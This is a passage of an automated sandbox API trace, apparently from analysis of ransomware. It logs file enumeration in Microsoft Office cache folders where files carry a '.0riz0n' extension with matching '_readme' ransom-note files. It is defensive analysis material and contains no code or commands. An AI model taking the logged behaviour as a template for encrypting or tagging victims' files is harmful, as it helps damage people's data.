cAlternateFileName="")) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.699] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.699] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48b421f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x48b421f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.700] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.700] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.700] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.700] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.700] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0141.700] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.700] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.700] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4980d830, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4980d830, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.700] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.700] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.700] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.700] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.700] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.700] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.700] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.700] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4987fc50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.700] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.700] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.700] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.700] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.700] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4987fc50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0141.700] GetLastError () returned 0x12 [0141.700] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0141.700] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4987fc50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48b1c090, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x48b1c090, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48b421f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x48b421f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4980d830, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4980d830, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4987fc50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.701] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4987fc50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0141.701] GetLastError () returned 0x12 [0141.701] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0141.701] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0141.702] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.702] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0141.702] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x4a16ced0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4a16ced0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0141.702] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.702] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x4a16ced0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4a16ced0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0141.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0141.874] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0141.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0141.874] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0141.874] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0141.874] NtClose (Handle=0x194) returned 0x0 [0141.874] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0141.874] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0141.875] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0142.034] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x4a16ced0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4a16ced0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49abb0f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x49abb0f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49b073b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x49b073b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4a16ced0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4a16ced0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983bf0 [0142.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9844c0 [0142.037] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9869e8 [0142.037] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.037] GetLastError () returned 0x12 [0142.037] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bb8 [0142.037] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x4a16ced0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4a16ced0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49abb0f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x49abb0f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49b073b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x49b073b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, 